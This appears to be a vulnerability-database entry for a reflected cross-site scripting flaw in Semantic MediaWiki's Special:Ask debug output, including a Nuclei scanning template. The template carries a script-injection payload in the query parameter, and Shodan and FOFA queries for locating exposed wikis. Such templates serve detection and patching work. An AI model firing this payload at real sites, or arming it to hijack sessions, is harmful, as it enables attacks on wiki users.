CVE-2026-77610: Semantic MediaWiki <= 7.1.0 - Reflected Cross-Site Scripting via Query Debug Output

2026-11-29 PoC Public

Description

Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in the query debug output. With the debug request parameter on Special:Ask, DebugFormatter echoes the ASK query string and the generated SQL as raw HTML, escaping only the opening square bracket, so an unauthenticated attacker can inject arbitrary HTML and script through a query value.

Details

CVE
CVE-2026-77610 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-77610

info:
  name: Semantic MediaWiki <= 7.1.0 - Reflected Cross-Site Scripting via Query Debug Output
  author: s4e-io
  severity: medium
  description: |
    Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in the query debug output. With the debug request parameter on Special:Ask, DebugFormatter echoes the ASK query string and the generated SQL as raw HTML, escaping only the opening square bracket, so an unauthenticated attacker can inject arbitrary HTML and script through a query value.
  impact: |
    Attackers can execute arbitrary JavaScript in the browser of a user who opens a crafted link, in the context of the wiki origin, and act with that user's session.
  remediation: |
    Update Semantic MediaWiki to 7.2.0 or later.
  reference:
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-q5fm-9mx6-44f4
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/5cb4c5dd0e1cad1467cb944881d8eb5350089e2e
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-77610
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-77610
    epss-score: 0.00511
    epss-percentile: 0.36849
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: semantic-mediawiki
    product: semantic_mediawiki
    shodan-query: http.html:"Powered by Semantic MediaWiki"
    fofa-query: body="Powered by Semantic MediaWiki"
  tags: cve,cve2026,mediawiki,semantic-mediawiki,xss,reflected,unauth

variables:
  marker: "{{to_lower(rand_text_alpha(10))}}"
  payload: "x<script>alert('{{marker}}')</script>"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?title=Special:Ask&q=%5B%5BText%3A%3A{{url_encode(payload)}}%5D%5D&debug=1"
      - "{{BaseURL}}/w/index.php?title=Special:Ask&q=%5B%5BText%3A%3A{{url_encode(payload)}}%5D%5D&debug=1"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "::{{payload}}]]</div>"
          - "smw-debug-box"
          - "Debug output"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a828908a7e60ba71987990c07540f1d914b115610c9f659ec1200461c3b6b97b022100a289555f7ae5e9da31250a1bdc2ab1f6cbdb2cb2f1bd95fefe7b5ae93d2022e6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life